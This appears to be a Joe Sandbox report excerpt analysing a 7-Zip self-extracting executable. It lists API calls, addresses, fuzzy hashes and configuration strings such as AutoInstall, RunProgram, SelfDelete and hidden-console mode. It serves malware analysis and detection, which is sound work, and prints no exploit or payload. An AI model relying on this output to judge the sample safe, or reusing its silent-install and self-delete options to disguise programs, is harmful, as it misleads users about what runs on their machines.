Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	25.9%
Total number of Nodes:	1474
Total number of Limit Nodes:	20

Executed Functions

Function 00404FAA Relevance: 250.2, APIs: 103, Strings: 39, Instructions: 1671keyboardsynchronizationwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B37: GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,00404FBD,?,?,00000000), ref: 00401B43
Part of subcall function 00401B37: CreateWindowExW.USER32(00000000,Static,0041335C,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00401B60
Part of subcall function 00401B37: SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00401B72
Part of subcall function 00401B37: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00401B7F
Part of subcall function 00401B37: DispatchMessageW.USER32(?), ref: 00401B89
Part of subcall function 00401B37: KillTimer.USER32(00000000,00000001,?,?,?,?,?,00404FBD,?,?,00000000), ref: 00401B92
Part of subcall function 00401B37: KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,00404FBD,?,?,00000000), ref: 00401B99

GetVersionExW.KERNEL32(?,?,?,00000000), ref: 00404FCE
GetCommandLineW.KERNEL32(?,00000020,?,?,00000000), ref: 0040505C

Part of subcall function 00402A69: ??3@YAXPAX@Z.MSVCRT(?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,0040507C,?,00000000), ref: 00402ADC
Part of subcall function 00402A69: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,0040507C,?), ref: 00402AF7
Part of subcall function 00402A69: ??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000000,00000000,00000020,?,?,?,?,?,?,?,?,0040507C), ref: 00402AFF
Part of subcall function 00402A69: ??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000020,?,?,?,?,?,?,?,?,0040507C,?,00000000), ref: 00402B6F

Part of subcall function 00403D71: lstrlenW.KERNEL32(?,00000000,00000020,?,0040508F,?,?,00000000,?,00000000), ref: 00403DA5
Part of subcall function 00403D71: lstrlenW.KERNEL32(?,?,00000000), ref: 00403DAD

_wtol.MSVCRT ref: 0040509F
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 004050F1
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 00405102
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 0040510A
GetModuleFileNameW.KERNEL32(00000000,00000208,00000000,?,00000000), ref: 00405138
_wtol.MSVCRT ref: 00405217
??2@YAPAXI@Z.MSVCRT(00000010,004177C4,004177C4,?,00000000), ref: 0040538F

Part of subcall function 00404E3F: ??3@YAXPAX@Z.MSVCRT(004177C4,004177C4,004177C4,00000000,0000002B,;!@InstallEnd@!,;!@Install@!UTF-8!,00000000,00000000), ref: 00404E85
Part of subcall function 00404E3F: ??3@YAXPAX@Z.MSVCRT(004177C4,004177C4,004177C4,00000000,0000002B,004177C4,004177C4,00000000,0000002B,;!@InstallEnd@!,;!@Install@!UTF-8!,00000000,00000000), ref: 00404EAB
Part of subcall function 00404E3F: wsprintfA.USER32 ref: 00404EBC

Part of subcall function 00402844: lstrlenA.KERNEL32(?,?,00000000), ref: 00402876
Part of subcall function 00402844: lstrlenA.KERNEL32(?,?,00000000), ref: 0040287E
Part of subcall function 00402844: memcmp.MSVCRT(?,?,?), ref: 004028E4
Part of subcall function 00402844: memcmp.MSVCRT(?,?,?,?,00000000), ref: 00402921
Part of subcall function 00402844: memmove.MSVCRT(?,?,00000000,?,00000000), ref: 00402953

??3@YAXPAX@Z.MSVCRT(?,00000000,00000009,?,?,?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 00405453
??3@YAXPAX@Z.MSVCRT(?,?,00000000,00000009,?,?,?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 0040545B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,00000009,?,?,?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 00405463
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000A,?,?,00000000,004177C4,004177C4,?,00000000), ref: 004054DD
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000A,?,?,00000000,004177C4,004177C4,?,00000000), ref: 004054E5
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0000000A,?,?,00000000,004177C4,004177C4,?,00000000), ref: 004054ED
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 00405509
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 00405511
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 00405519

Part of subcall function 00403093: ??3@YAXPAX@Z.MSVCRT(0040414C,?), ref: 00403347

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 00405559
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 00405561
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000,004177C4,004177C4,?,00000000), ref: 00405569

Part of subcall function 00403B94: lstrlenW.KERNEL32(?,00000020,?,?,00405650,?,00414668,?,00000000,?), ref: 00403BA1
Part of subcall function 00403B94: lstrlenW.KERNEL32(?,?,?,?,?,?,?,004177C4,004177C4,?,00000000), ref: 00403BAA
Part of subcall function 00403B94: _wcsnicmp.MSVCRT ref: 00403BB6

wsprintfW.USER32 ref: 00405595
_wtol.MSVCRT ref: 004057DE
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,?,?,?,004177C4,004177C4,?,00000000), ref: 0040587B
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?,?,?,?,?,?,004177C4,004177C4,?,00000000), ref: 00405883
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?,?,?,?,?,004177C4,004177C4,?,00000000), ref: 0040588B
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,0000003D,00000000,00000000,?,?,00000000,?), ref: 00405913
??3@YAXPAX@Z.MSVCRT(?,0000003D,00000000,00000000,?,?,00000000,?,?,?,?,?,?,?,004177C4,004177C4), ref: 00405938
??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,0000003D,00000000,00000000,?,?,00000000,?), ref: 004059AA
??3@YAXPAX@Z.MSVCRT(?,?,00000011,00000000,00000000,0000003D,00000000,00000000,?,?,00000000,?), ref: 004059B2
??3@YAXPAX@Z.MSVCRT(?,?,?,00000011,00000000,00000000,0000003D,00000000,00000000,?,?,00000000,?), ref: 004059BA
CoInitialize.OLE32(00000000), ref: 004059E9
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,004177C4), ref: 00405A30
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000,?), ref: 00405A38
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000,?), ref: 00405A40
GetKeyState.USER32(00000010), ref: 00405AA1
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,004177C4), ref: 00405BCD
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00405BDB
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00405BE3
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00405C16
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00405C1E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00405C26
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,0000000E,?,?,?,00000000,AutoInstall), ref: 00405C2E
memset.MSVCRT ref: 004060AE
ShellExecuteExW.SHELL32(?), ref: 0040617E
WaitForSingleObject.KERNEL32(?,000000FF,?,?,?), ref: 0040619A
CloseHandle.KERNEL32(?,?,?,?), ref: 004061A6
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?), ref: 004061D4
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?), ref: 004061DC
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?,?), ref: 004061E4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?), ref: 004061EA
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,00417788,?,?,?,?,?,?,?,?,00000000,?), ref: 004061FD
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,00417788,?,?,?,?,?,?,?,?,00000000), ref: 00406205
??3@YAXPAX@Z.MSVCRT(?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,00417788), ref: 00406222
??3@YAXPAX@Z.MSVCRT(?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,00417788), ref: 0040622A
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,00417788), ref: 00406232
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,00417788), ref: 0040623A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall,?,?,00417788), ref: 00406242
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall), ref: 0040624A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000,0000000F,?,?,?,?,00000000,AutoInstall), ref: 00406252
??3@YAXPAX@Z.MSVCRT(?,?,?,00417788,?,?,?,?,?,?,?,?,00000000,?), ref: 0040626E
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00417788,?,?,?,?,?,?,?,?,00000000,?), ref: 00406276
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00405BEB

Part of subcall function 00407776: wvsprintfW.USER32(?,00000000,?), ref: 0040779A
Part of subcall function 00407776: GetLastError.KERNEL32(?,00000000,0000FDE9), ref: 004077AB
Part of subcall function 00407776: FormatMessageW.KERNEL32(00001100,00000000,00000000,00402A50,00402A50,00000000,00000000,?,00000000,0000FDE9), ref: 004077D3
Part of subcall function 00407776: FormatMessageW.KERNEL32(00001100,00000000,00402A50,00000000,00402A50,00000000,00000000,?,00000000,0000FDE9), ref: 004077E8
Part of subcall function 00407776: lstrlenW.KERNEL32(?,?,00000000,0000FDE9), ref: 004077FB
Part of subcall function 00407776: lstrlenW.KERNEL32(00402A50,?,00000000,0000FDE9), ref: 00407802
Part of subcall function 00407776: ??2@YAPAXI@Z.MSVCRT(00000000,?,00000000,0000FDE9), ref: 00407817
Part of subcall function 00407776: lstrcpyW.KERNEL32(00000000,?,?,00000000,0000FDE9), ref: 0040782D
Part of subcall function 00407776: lstrcpyW.KERNEL32(-00000002,00402A50,?,00000000,0000FDE9), ref: 0040783E
Part of subcall function 00407776: ??3@YAXPAX@Z.MSVCRT(00000000,00000000,?,00000000,0000FDE9), ref: 00407847
Part of subcall function 00407776: LocalFree.KERNEL32(00402A50,?,00000000,0000FDE9), ref: 00407851

??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,004177C4), ref: 00405C4A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000,?), ref: 00405C52
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000,?), ref: 00405C5A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 00405C62
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,00000000,?), ref: 00405C94
??3@YAXPAX@Z.MSVCRT(?,00417788,?,?,?,?,?,?,?,?,00000000,?), ref: 00405CD4
??3@YAXPAX@Z.MSVCRT(?,00417788,?,?,?,?,?,?,?,?,00000000,?), ref: 00405D41
??3@YAXPAX@Z.MSVCRT(?,?,00417788,?,?,?,?,?,?,?,?,00000000,?), ref: 00405D49
??3@YAXPAX@Z.MSVCRT(?,?,?,00417788,?,?,?,?,?,?,?,?,00000000,?), ref: 00405D51
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00417788,?,?,?,?,?,?,?,?,00000000,?), ref: 00405D59
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,00417788), ref: 00405E20
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?,?,00000000,AutoInstall,?,?,00417788), ref: 00405E28
GetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,00000000,AutoInstall,?,?,00417788), ref: 00405E32
??3@YAXPAX@Z.MSVCRT(?,00000000,AutoInstall,?,?,00417788,?,?,?,?,?,?,?,?,00000000,?), ref: 00405EEC
??3@YAXPAX@Z.MSVCRT(?,?,00000000,AutoInstall,?,?,00417788,?,?,?,?,?,?,?,?,00000000), ref: 00405EF4
_wtol.MSVCRT ref: 00405F65
??3@YAXPAX@Z.MSVCRT(?,00000001,00000010,?,?,?,?), ref: 00406294
??3@YAXPAX@Z.MSVCRT(?,?,00000001,00000010,?,?,?,?), ref: 0040629C
??3@YAXPAX@Z.MSVCRT(?,?,?,00000001,00000010,?,?,?,?), ref: 004062A4
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000001,00000010,?,?,?,?), ref: 004062AA
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000001,00000010,?,?,?,?), ref: 004062B2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000001,00000010,?,?,?,?), ref: 004062BA
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000001,00000010,?,?,?,?), ref: 004062C2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000001,00000010,?,?,?,?), ref: 004062CA
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000001,00000010,?,?,?,?), ref: 004062D2
??3@YAXPAX@Z.MSVCRT(?,00000000,?,?,?), ref: 004062F1
??3@YAXPAX@Z.MSVCRT(?,?,00000000,?,?,?), ref: 004062F9
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,?,?,?), ref: 00406301
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?), ref: 00406307
SetCurrentDirectoryW.KERNELBASE(?,?,?,?,?,?,?,?,00000000,?,?,?), ref: 00406343
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?), ref: 0040636D
??3@YAXPAX@Z.MSVCRT(?,00000011,00000000,00000000,?,?,?,?,?,?,00000000,?,?,?), ref: 004063E6
??3@YAXPAX@Z.MSVCRT(?,?,?,?,00000000,?,?,?), ref: 0040643D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,00000000,?,?,?), ref: 00406445
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,00000000,?,?,?), ref: 0040644D
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,00000000,?,?,?), ref: 00406455
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,?,?), ref: 0040646A
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,00000000,?,?,?), ref: 0040647B
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,00000000,?,?,?), ref: 00406483
MessageBoxA.USER32(00000000,Sorry, this program requires Microsoft Windows 2000 or later.,7-Zip SFX,00000010), ref: 0040649C

Strings

sfxconfig, xrefs: 0040527C, 00405488
GUIFlags, xrefs: 0040571F
HelpText, xrefs: 0040595E
;!@InstallEnd@!, xrefs: 00405431
shc, xrefs: 00405F7A
sfxversion, xrefs: 004050D6
7ZipSfx.%03x, xrefs: 00405C77
ExecuteParameters, xrefs: 0040605D
i386, xrefs: 00405FD1
setup.exe, xrefs: 00405DE5, 00405DEA, 00405E45
4AA, xrefs: 0040504C
BeginPrompt, xrefs: 00405A71
FinishMessage, xrefs: 00406399
x64, xrefs: 00405FF7
InstallPath, xrefs: 004059F3
x86, xrefs: 00405FBE
amd64, xrefs: 00405FE4
SelfDelete, xrefs: 0040577C, 0040640B
;!@Install@!UTF-8!, xrefs: 00405436
Delete, xrefs: 00406352
RunProgram, xrefs: 00405A66, 00405B6B, 00405B79
ExecuteFile, xrefs: 00405A61, 00405B47, 00405B55
hidcon, xrefs: 00405E5E
del, xrefs: 00405F9A
IA, xrefs: 004055D2, 004058FB
MiscFlags, xrefs: 0040573F
7zSfxString%d, xrefs: 0040558F
forcenowait, xrefs: 00405F25
AutoInstall, xrefs: 00405AC1, 00405B1C, 00405ECC
GUIMode, xrefs: 004056FF
7-Zip SFX, xrefs: 00406490
@DA, xrefs: 00405699
OverwriteMode, xrefs: 004056BB
Sorry, this program requires Microsoft Windows 2000 or later., xrefs: 00406495
SetEnvironment, xrefs: 0040586E, 0040591F
XpA, xrefs: 00405581
4DA, xrefs: 00406034
Shortcut, xrefs: 0040632A
nowait, xrefs: 00405F03

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@$lstrlen$Message$_wtol$??2@FileFormatHandleModuleTimerlstrcpymemcmpwsprintf$AttributesCallbackCloseCommandCreateCurrentDirectoryDispatchDispatcherErrorExecuteFreeInitializeKillLastLineLocalNameObjectShellSingleStateUserVersionWaitWindow_wcsnicmpmemmovememsetwvsprintf
String ID: 4AA$4DA$7-Zip SFX$7ZipSfx.%03x$7zSfxString%d$;!@Install@!UTF-8!$;!@InstallEnd@!$@DA$AutoInstall$BeginPrompt$Delete$ExecuteFile$ExecuteParameters$FinishMessage$GUIFlags$GUIMode$HelpText$InstallPath$MiscFlags$OverwriteMode$RunProgram$SelfDelete$SetEnvironment$Shortcut$Sorry, this program requires Microsoft Windows 2000 or later.$XpA$amd64$del$forcenowait$hidcon$i386$nowait$setup.exe$sfxconfig$sfxversion$shc$x64$x86$IA
API String ID: 154539431-3058303289
Opcode ID: 926e16e0d72d3398af4091c0d2fb4f0e89ce66b1218389f87f1cbe10f28a7287
Instruction ID: bd55e9a5e2f2b8c77b34d16bce6880ff8bafa7c96c93ceffa7f521d25999041e
Opcode Fuzzy Hash: 926e16e0d72d3398af4091c0d2fb4f0e89ce66b1218389f87f1cbe10f28a7287
Instruction Fuzzy Hash: 65C2E231904619AADF21AF61DC45AEF3769EF00708F54403BF906B61E2EB7C9981CB5D

Function 00401626 Relevance: 22.8, APIs: 15, Instructions: 304
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc4e185761910bab2b3e9b4b194fe0f2484e14367d7febfa53cbc10b96610557
Instruction ID: 8ae67fe93764504dd4472983a8ee98937692ca3eac7777145cc28303e79798ac
Opcode Fuzzy Hash: bc4e185761910bab2b3e9b4b194fe0f2484e14367d7febfa53cbc10b96610557
Instruction Fuzzy Hash: 8DB17C71900205EFCB14EFA5D8849AEB7B5FF44304B24842BF512BB2F1EB39A945CB58

Function 0040301A Relevance: 7.5, APIs: 5, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNELBASE(?,-00000001), ref: 00403028
SetLastError.KERNEL32(00000010), ref: 0040303D

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: AttributesErrorFileLast
String ID:
API String ID: 1799206407-0
Opcode ID: 611e1059d124648bfa8909f45edfa8144be0e8992cd1f43fa13480e02f084d79
Instruction ID: 32a2c072cbeca167af0ba40feded167abd8377b8b15159977275e4e23b0806bf
Opcode Fuzzy Hash: 611e1059d124648bfa8909f45edfa8144be0e8992cd1f43fa13480e02f084d79
Instruction Fuzzy Hash: 42018B30102004AADF206F749C4CAAB3BACAB0136BF108632F621F11D8D738DB46965E

Function 0040118A Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNELBASE(?,00000000,00000000), ref: 004011A6
SendMessageW.USER32(00008001,00000000,?), ref: 004011FF

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: DiskFreeMessageSendSpace
String ID:
API String ID: 696007252-0
Opcode ID: 3a86173e64e6b0f12d7b84feb59694df1deaa45c142369f31f6b7a0286f107e3
Instruction ID: 9edb1a80411cac00ba33afe52a6c86c35bfa08927eae57e7515b94cd88b359ae
Opcode Fuzzy Hash: 3a86173e64e6b0f12d7b84feb59694df1deaa45c142369f31f6b7a0286f107e3
Instruction Fuzzy Hash: 1C014B30654209ABEB18EB90DD85F9A3BE9EB05704F108436F611F91F0CB79BA408B1D

Function 00411DEF Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__set_app_type.MSVCRT ref: 00411E1C
__p__fmode.MSVCRT ref: 00411E31
__p__commode.MSVCRT ref: 00411E3F
__setusermatherr.MSVCRT ref: 00411E6B
_initterm.MSVCRT ref: 00411E81
__getmainargs.MSVCRT ref: 00411EA4
_initterm.MSVCRT ref: 00411EB4
GetStartupInfoA.KERNEL32(?), ref: 00411EF3
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00411F17
exit.KERNELBASE ref: 00411F27
_XcptFilter.MSVCRT ref: 00411F39

Strings

HpA, xrefs: 00411E9C, 00411E9F

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID: HpA
API String ID: 801014965-2938899866
Opcode ID: 9fb10d9e3a65800a4f5e1ed226729125e22e54dc21e3b7cab0738d928573cc55
Instruction ID: 158ffaedae0d42993a529c42e252781da09b2560f8e529a8c548a3e081932a5e
Opcode Fuzzy Hash: 9fb10d9e3a65800a4f5e1ed226729125e22e54dc21e3b7cab0738d928573cc55
Instruction Fuzzy Hash: 254192B0944344AFDB20DFA4DC45AEA7BB8FB09711F20452FFA51973A1D7784981CB58

Function 00401B37 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 47
timewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,?,?,00404FBD,?,?,00000000), ref: 00401B43
CreateWindowExW.USER32(00000000,Static,0041335C,00000000,000000F6,000000F6,00000005,00000005,00000000,00000000,00000000), ref: 00401B60
SetTimer.USER32(00000000,00000001,00000001,00000000), ref: 00401B72
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00401B7F
DispatchMessageW.USER32(?), ref: 00401B89
KillTimer.USER32(00000000,00000001,?,?,?,?,?,00404FBD,?,?,00000000), ref: 00401B92
KiUserCallbackDispatcher.NTDLL(00000000,?,?,?,?,?,00404FBD,?,?,00000000), ref: 00401B99

Strings

Static, xrefs: 00401B5A

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: MessageTimer$CallbackCreateDispatchDispatcherHandleKillModuleUserWindow
String ID: Static
API String ID: 2479445380-2272013587
Opcode ID: 3628b680e9888d51f3ede5b7fd431ea4f93bb964a28f818be4a598c22db00f11
Instruction ID: f02a6d563a0a994406544e3b77250aae51f77c8b940714b819f60fd1d37dc764
Opcode Fuzzy Hash: 3628b680e9888d51f3ede5b7fd431ea4f93bb964a28f818be4a598c22db00f11
Instruction Fuzzy Hash: 10F03C3250212476CA203FA69C4DEEF7E6CDB86BA2F008160B615A10D1DAB88241C6B9

Function 0040B163 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 160
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memcpy.MSVCRT(00000000,?,0000001F,00010000), ref: 0040B1C5
memmove.MSVCRT(00000000,-000000C1,00000020,?,00010000), ref: 0040B289
??3@YAXPAX@Z.MSVCRT(00000000), ref: 0040B298

Strings

, xrefs: 0040B22D

Memory Dump Source

Source File: 0000000D.00000002.2491676389.0000000000401000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.2491606427.0000000000400000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491726077.0000000000413000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491755465.0000000000417000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.000000000041A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000D.00000002.2491778820.0000000000432000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_JIKJCBEX.jbxd

Similarity

API ID: ??3@memcpymemmove
String ID:
API String ID: 3549172513-3916222277
Opcode ID: 5bad17cc77e2d39d7f6897ae69eb46f7fe1422127806d73b42e5b41d987a673b
Instruction ID: 201babb0cc669d9fea5df8a163075e687156198648327345136f7fe875bf0058
